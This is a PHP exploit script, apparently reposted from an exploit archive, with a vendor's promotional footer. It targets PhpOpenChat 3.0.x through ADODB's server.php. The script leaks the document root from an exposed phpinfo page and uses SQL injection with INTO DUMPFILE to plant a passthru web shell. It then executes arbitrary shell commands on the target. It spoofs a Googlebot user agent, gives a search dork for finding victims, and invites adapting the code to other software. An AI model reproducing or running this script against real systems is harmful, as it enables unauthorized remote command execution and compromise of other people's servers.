=================================================================
ADODB < 4.70 (PhpOpenChat 3.0.x) Server.php SQL Injection Exploit
=================================================================
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PhpOpenChat 3.0.x ADODB Server.php \"sql\" SQL injection\r\n";
echo "by rgod [email protected]\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "dork: Welcome to your PHPOpenChat-Installation!\r\n\r\n";
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to PhpOpenChat\r\n";
echo "cmd: a shell command\r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /chat/ \r\n";
echo "php ".$argv[0]." localhost /chat/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
die;
}
/*
this is based on
http://www.securityfocus.com/bid/16187
but... look at the server.php source code:
...
$driver = 'mysql';
$host = 'localhost'; // DSN for odbc
$uid = 'root';
$pwd = '';
$database = 'test';
...
you need a "root" user with no password, an existent "test" database
and Mysql to have certain rights to write files...
so, this vulnerability is very hard to exploit
however, here is the code for PhpOpenChat, you can easily change it to work
against the program you want
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$action=$argv[3];
$cmd="";$port=80;$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
#step 1->read DOCUMENT ROOT from phpinfo
$packet ="GET ".$p."include/adodb/tests/tmssql.php?do=phpinfo HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("DOCUMENT_ROOT </td><td class=\"v\">",$html);
$temp2=explode(" </td></tr>",$temp[1]);
$fullpath=$temp2[0];
$fullpath=trim($fullpath);
echo "DOCUMENT ROOT ->".$fullpath."\r\n\r\n";
$fullpath=str_replace("\\","\\\\\\\\",$fullpath); // win boxes
if ($fullpath=="")
{
echo $html;
die("\r\n\r\nCannot read phpinfo ...\r\n");
}
#step 2->execute a query (you can regardless of magic_quotes_gpc)
$SQL ="SELECT '<?php echo chr(0x2a).\"delim*\";passthru(\$_GET[\"cmd\"]);echo chr(0x2a).\"delim*\";?>',0,0,0,0,0 ";
$SQL.="INTO DUMPFILE '".$fullpath."/suntzu.php' FROM poc.poc_user_account LIMIT 1";
$SQL=urlencode($SQL);
$packet ="GET ".$p."include/adodb/server.php?sql=$SQL HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"Access denied") || !strstr($html,"200 OK") || strstr($html,"Can't connect"))
{
echo $html;
die("\r\n\r\nExploit failed...\r\n");
}
sleep(1);
#step 3->launch commands
$packet ="GET /suntzu.php?cmd=".$cmd." HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (!strstr($html,"*delim*"))
{
echo $html;
die("\r\n\r\nExploit failed...\r\n");
}
else
{
echo "Exploit succeeded...\r\n";
$temp=explode("*delim*",$html);
echo $temp[1];
}
?>
# 0day.today [2018-03-20] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation